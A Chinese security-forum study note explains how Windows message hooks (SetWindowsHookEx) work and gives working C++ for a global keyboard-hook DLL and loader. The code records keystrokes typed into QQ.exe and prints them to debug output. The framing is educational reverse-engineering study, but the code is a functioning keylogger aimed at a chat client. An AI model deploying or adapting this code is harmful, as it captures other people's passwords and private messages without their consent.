萌新逆向学习笔记——消息钩子键盘记录

本文为看雪论坛优秀文章

看雪论坛作者ID：psycongroo

0x0 前言

我还记得小时候——大概08年那会儿，流行玩一款叫梦幻西游的网游。那时候我尚幼小，并没有诸如电脑病毒，木马等概念，反正拿到鼠标键盘就是一顿操作，玩玩游戏就行。

直到有一天电脑突然弹出一个记事本exe，上面写道：“你的马面真的是垃圾。”本沉迷网游的我一下从梦中惊醒。还没等我反应过来，鼠标不受控制，右下角退出瑞星杀毒软件。后来两个游戏号陆续被盗，让我很是沉闷一段时间。

直到现在我学习了《逆向工程核心原理》，看到了DLL注入的一种方式——消息钩子注入。才忽然恍然大悟，仿佛抓到了当年被盗号的真相的尾巴。

0x1 准备事项

阅读此文需要具备以下一定的知识：

1. c++编程语言基本知识

2. 些少的win32API 知识

3. 会上MSDN微软官网查询API

本文是笔者的学习读书笔记，用以总结记录，如有错误，多多指出。倘若读者为逆向入门，也不妨尝试阅读此文。

如果读者没看懂代码不要紧代码部分可跳过，紧记住整个的流程，对关键的API产生印象。待日后熟悉了C++和一些API，也自然看得懂了。

0x2 原理

从代码上来看，就是利用微软官方提供的API SetWindowsHookExA/SetWindowsHookExW来设置消息钩子，拦截特定的输入（如键盘和鼠标等）。

从整个过程来看：

1. 当我们通过键盘输入，系统(OS)会把键盘输入这个事件发送到系统消息队列（OS message queue）

2. 随后系统会从这个消息队列里拿出这个事件，判断这个输入是在哪个程序发生的。

3. 发送到输入发生地程序的消息列表中（application message queue）

4. 目标程序把键盘输入的事件拿出，执行并显示

而调用SetWindowsHookExA/`SetWindowsHookExW事实上就是在OS message queue和application message queue之间设置了一个钩子，有了它我们就可以在键盘输入这个事件到达目标程序前处理事件。因此你可以用来偷偷记录，亦或者是更改其内容。

很神奇吧，为什么是在OS message queue和application message queue间设置了钩子而不是在其他地方呢？这不是笔者说的算的，这是本来就存在的，是微软就是这么设计的，并不是什么黑科技。

而在OS message queue和application message queue之间的钩子，实际上是一个钩链。这意味着钩子可以设置多个。他们会像排队一样按顺序的处理输入的事件，钩子的代码里也可以决定是否把事件给下一个钩子处理。

0x3 API官方文档

首先看一下SetWindowsHookExW需要的参数：

HHOOK SetWindowsHookExW(
  int       idHook,
  HOOKPROC  lpfn,
  HINSTANCE hmod,
  DWORD     dwThreadId
);

1. int hook——指定事件的钩子ID，如键盘事件WH_KEYBOARD。设置后只对键盘输入起反应。

2. HOOKPROC lpfn——钩子的处理函数，若设置的是键盘输入钩子，必须是微软定义的一个叫KeyboardProc的函数。

3. HINSTANCE hmod——模块句柄，因此一般设置钩子的地方在DLL中。

4. DWORD dwThreadId——需要设置钩子的线程ID，倘若为0则为全局钩子（所有程序都钩）。

关于KeyboardProc函数：

根据文档其定义如下：

LRESULT CALLBACK KeyboardProc(
  _In_ int    code,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
);

参数说明：

1. int code——有三种值，小于0，等于0，等于3。

• 1.1 小于0：表示必须调用CallNextHookEx函数传递消息，传递给下一个钩子。并且不能做过多处理
  
• 1.2 等于0：表示参数wParam和lParam 包含关于按键虚拟值相关信息，相关具体值，可看文档（我们正是需要这种）
  
• 1.3 等于3：包含第二种情况，同时表示该按键事件被使用PeekMessage方法偷看过

2. WPARAM wParam——键盘输入按键对应的虚拟值（我们用这个判断按下什么键）。

3. LPARAM lParam——包含各种各样的值，需要的可看官方文档。

0x4 实践

首先看看实际调用SetWindowsHookExW的地方。这是一个自己写的DLL。他通过__declspec(dllexport)关键字来导出函数，来给我们写的程序（EXE）调用启动。

KeyHook.dll中内容：

#define DllExport __declspec(dllexport)
extern "C" {
 
    DllExport void HookStart() { //导出自定义的HookStart函数
        myHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, myModule, 0);
    }
 
    DllExport void HookStop() {  //导出自定义的HookStop函数
        UnhookWindowsHookEx(myHook);
        myHook = NULL;
    }
}

请注意我们需要写两个PE文件，一个是exe，一个是dll。钩子设置以及实现的内容均在dll中，exe只是一个药引子，用来启动它。

至于为什么要这样，这是大概是因为SetWindowsHookEx的使用必须是在模块当中。而这里用关键字导出两个函数，是为了给药引子程序来启动它。

可以看到SetWindowsHookEx的第二个参数KeyboardProc就是我们核心的内容，它记录了键盘的输入：

#define DEF_PROCESS_NAME L"QQ.exe"
LRESULT CALLBACK KeyboardProc(
    _In_ int    code,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
) {
    WCHAR szPath[MAX_PATH] = { 0 };
    WCHAR* p = NULL;
    if (code == 0)
    {
        if (!(lParam & 0x80000000))  //松开按键判断，这里常规操作
        {
            GetModuleFileName(NULL, szPath, MAX_PATH);  //获取当前调用该DLL的文件路径 如z:\sofeware\QQ\QQ.exe
            p = wcsrchr(szPath, '\\');  //获取最后一个符号\后的字符串
            setlocale(LC_ALL, ""); //使用_wcsicmp函数前的固定操作
            BOOL isTarget = !_wcsicmp(p + 1, DEF_PROCESS_NAME); //判断当前进程是否为QQ.exe 若相等返回0，但TURE的值是1
            BOOL isNumberLetter = wParam >= 0x30 && wParam <= 0x39 || wParam >= 0x41 && wParam <= 0x5A;  //数字和字母判断
            OutputDebugString(p+1);  //输出到Debug日志
            OutputDebugString(szPath);
            if (isTarget && isNumberLetter)
            {
                result.push_back((WCHAR)wParam);
            }
            if (wParam == VK_RETURN)  //回车键判断
            {
                OutputDebugString(getInput()); //输出结果
                result.clear();
            }
        }
    }
    return CallNextHookEx(myHook, code, wParam, lParam);
}

这里大概逻辑是先拿到当前调用DLL的文件名，判断是否为QQ.exe，如果是则记录在list中，当按下回车时，将list中记录的内容输入到debug消息。代码不难，前提是有C++基础。

SetWindowsHookEx的第三个参数myModule可以在DLL初始化时获得：

HMODULE myModule = NULL;
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        myModule = hModule; //初始化
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

还是说明一下，这里的DllMain方法是DLL初始化时必定会走的地方，所以这里又是一个"微软规定"。

至此，键盘记录的核心实现内容已讲解完，剩下的还有"药引子"exe程序。

ConsoleApplication1.exe

#define HOOK_START "HookStart"
#define HOOK_STOP "HookStop"
#define DLL_NAME "KeyHook.dll"
PEN_HOOKSTART hookStart = NULL;
PEN_HOOKSTOP hookStop = NULL;
HMODULE hdll;
hdll = LoadLibraryA(DLL_NAME); //通过名字加载同目录下的DLL文件，此时会调用DLL的DllMain函数
hookStop = (PEN_HOOKSTOP)GetProcAddress(hdll, HOOK_STOP);   //通过函数名字和DLL句柄，获取函数地址
hookStart = (PEN_HOOKSTART)GetProcAddress(hdll, HOOK_START);
hookStart();

这里主要看看核心代码即可，整个过程为DLL常规的调用。载入DLL->从DLL中获取函数->调用。倘若是第一次接触相关API建议看看相关文档，这里只涉及LoadLibraryA和GetProcAddress两个API。

请注意GetProcAddress获取的函数必须是通过先前关键字导出的函数，否则无法获取。

最后我们就能看到：

ps：注意使用DebugView来查看debug输出。因为笔者调用的函数是输出到debug日志里的而不是控制台上。

0x5 问题之所在

字母大小写

有一个明显的问题就是，记录的虚拟按键值无法区分大小写。这是因为提供的虚拟按键值并没有字母大小写之分见文档。

药引子程序卡死

当安装钩子后，药引子程序会卡死。经过相关百度和文档查阅可得知这是因为DLL和被挂钩子的程序位不一样。

如：笔者写的DLL为32位钩子，而目标程序为64位程序。

这样就会导致按键事件分发不到具体的钩子处理函数，而事件已经被标志为已挂钩，必须找到处理函数。这就会产生事件无法得到处理，程序卡死的现象：

Because hooks run in the context of an application, they must match the "bitness" of the application. If a 32-bit application installs a global hook on 64-bit Windows, the 32-bit hook is injected into each 32-bit process (the usual security boundaries apply). In a 64-bit process, the threads are still marked as "hooked." However, because a 32-bit application must run the hook code, the system executes the hook in the hooking app's context; specifically, on the thread that called SetWindowsHookEx. This means that the hooking application must continue to pump messages or it might block the normal functioning of the 64-bit processes

一句话来说就是32位的DLL钩子只能注入32位程序，同理64位也是如此。但问题是我的药引子程序也是32位的，DLL也是32位的，虽然笔者设置的是全局钩子，但为何还会卡死呢？

值得一提的是，当把DLL和药引子程序均设为64位时，药引子程序便没有卡死。

0x6 总结

当从书里出来，自己实现一遍遇到各种各样的问题并解决后，原本觉得是天书的代码焕然一新，仿佛觉得能信手拈来。

钩子注入的核心在于对拦截事件的处理。而作为新手的我们，应该先注重如何注入钩子，再去考虑如何处理事件。当两者已了然于胸，到时候离逆向之路也会走的更远了吧。

示例及源码下载：

https://share.weiyun.com/3nCWkg6z

- End -

看雪ID：psycongroo

https://bbs.pediy.com/user-899080.htm

  *本文由看雪论坛 psycongroo 原创，转载请注明来自看雪社区。

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